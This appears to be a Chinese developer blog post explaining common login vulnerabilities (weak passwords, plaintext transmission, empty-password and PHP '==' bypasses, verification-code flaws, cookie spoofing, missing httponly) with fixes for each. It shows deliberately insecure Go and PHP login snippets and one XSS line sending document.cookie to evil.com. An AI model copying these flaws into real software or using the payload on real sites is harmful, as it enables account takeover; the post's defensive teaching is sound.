乘风原创程序

  • 后端开发都应该了解的登录漏洞
  • 2021/7/2 10:19:56
  • 登录是大部分网站都具备的一个功能,作为用户使用系统的第一步,如果登陆逻辑设计不合理,容易被攻击者利用,造成安全问题。

    密码泄漏

    弱口令

    相信大家都知道弱口令是什么意思,用户为了方便,一般会使用123456、admin、passwd、password、123qwe等这些作为自己的常用密码,方便好记。黑客会对这些人们常用的密码建立破译字典,逐个尝试进行破解。另外,也建议大家不要用生日、手机号、姓名等相关信息作为密码,黑客在进行暴力破解前,会先收集用户的这些相关信息,录入破译字典中。

    have i been pwned上可以查到,"123456"这个密码已经被使用了24,230,577

    解决办法

    最直接的解决办法,当然就是用户自己设置复杂的密码了。但是我们也应该从开发的角度提高安全性。

    强制提高密码强度

    程序规定密码强度规则,用户设置密码时,判断密码的强度是否符合要求,不符合拒绝设置。

    限制登陆频率

    暴力破解原理是用破译字段里的密码不断尝试登陆,我们可以程序控制登录频率,比如1分钟限制5次尝试登陆,超过这个次数后,再尝试登陆需要手机号/邮箱验证码。提高暴力破解的难度。

    密码明文传输

    用户请求登陆时,将用户的账号和密码通过明文的方式直接传输到服务端,黑客利用中间人攻击等手段,就能容易截获到用户的账号密码。

    解决办法

    客户端和服务端之间的连接使用https加密传输。避免传输数据被第三方获取。

    代码逻辑漏洞

    空密码登录

    密码输错登陆失败,不输密码直接登陆进去了,乍一看不可思议,但确实有这种情况。

    func login(ctx context.context, userid string, passwdinput *passwdinfo) (err error) {
    	if passwdinput != nil && !passwordchk(userid, passwdinput.password) {
    		return errors.new("密码错误")
    	}
    	// 成功通过
    	...
    }
    

    大家别笑,真有遇到过这种代码, 可能是由于之前出现过passwdinput传入nil导致代码直接panic了,修改时没注意看逻辑,直接加了一层检查nil的判断,导致漏洞的出现。

    "万能密码" - true

    写php的同学肯定都了解"=="和"==="的区别。

    if($passwdfromdb == $passwdinput)
    {
        // 登陆成功
    }
    

    上面代码,如果passwdinput传入true,就能校验通过了。导致"万能密码"。所以同学们写的时候别吝啬那个"=",说不定能救你一命。

    验证码漏洞

    如今,登陆、修改密码越来越多都依赖手机/邮箱验证码了,有些甚至可以账号/手机号 + 验证码的免密登陆,验证码控制不当也会是一个漏洞重灾区。

    验证码暴力破解

    当登陆/修改密码时,服务端向我们手机发送一个6位的验证码。如果服务端没有对验证码做任何限制。攻击者就能对验证码进行暴力尝试。

    处理办法

    1. 对验证码尝试次数/频率进行限制
    2. 控制验证码的有效期

    a的验证码,修改b的用户信息

    a修改用户信息时,需要验证码校验。后端将用户会话token当成key,value为验证码,在redis中存储。校验时,只通过token校验验证码,不校验要修改信息的目标账号,比如a在修改参数中的userid = b,就会导致修改了b的用户信息。造成漏洞。

    解决办法

    注意验证码与目标账号身份的匹配。

    cookie漏洞

    cookie是用于客户端存储会话状态的,使用不加注意容易导致漏洞产生。

    使用cookie进行身份验证

    • 接口通过请求头中cookie的userid判断用户身份。可以直接修改cookie中的userid字段,伪造成任意其他用户。
    • 接口通过请求头中cookie的role字段判断用户权限,可以直接修改前端cookie中的role字段,对用户进行提权。

    解决办法

    使用服务端的session存储用户信息,接口进行身份验证时,可以通过cookie中的sessionid字段,找到对应session内容,获取到用户信息,再进行后续判断。

    cookie未设置httponly

    xss攻击是一种代码注入攻击,攻击者在网站上注入恶意代码,使之在用户访问网站时运行,从而获取用户的敏感信息。 注入恶意代码并不需要直接改网站源代码,比如用户在一个评论区写下

    <script src=“http://evil.com” + escape(document.cookie)>
    

    而程序没有对输入内容进行代码字符转义。其他人打开评论区时,就会自动运行这段恶意代码,将自己的cookie内容发送到http://evil.com,导致cookie的泄漏。

    当使用session存储用户信息时,cookie中存放着sessionid,后端接口根据sessionid对应的session进行用户身份校验。如果cookie中的sessionid被攻击者获取,即可以伪造受害者身份登陆网站。

    处理办法

    开启cookie的httponly属性,开启后,无法通过js脚本读取到cookie信息。可以有效防止xss攻击窃取cookie内容。

    大家还知道其他的什么登陆漏洞,欢迎分享探讨~

    写在最后

    喜欢本文的朋友,欢迎关注公众号「会玩code」,专注大白话分享实用技术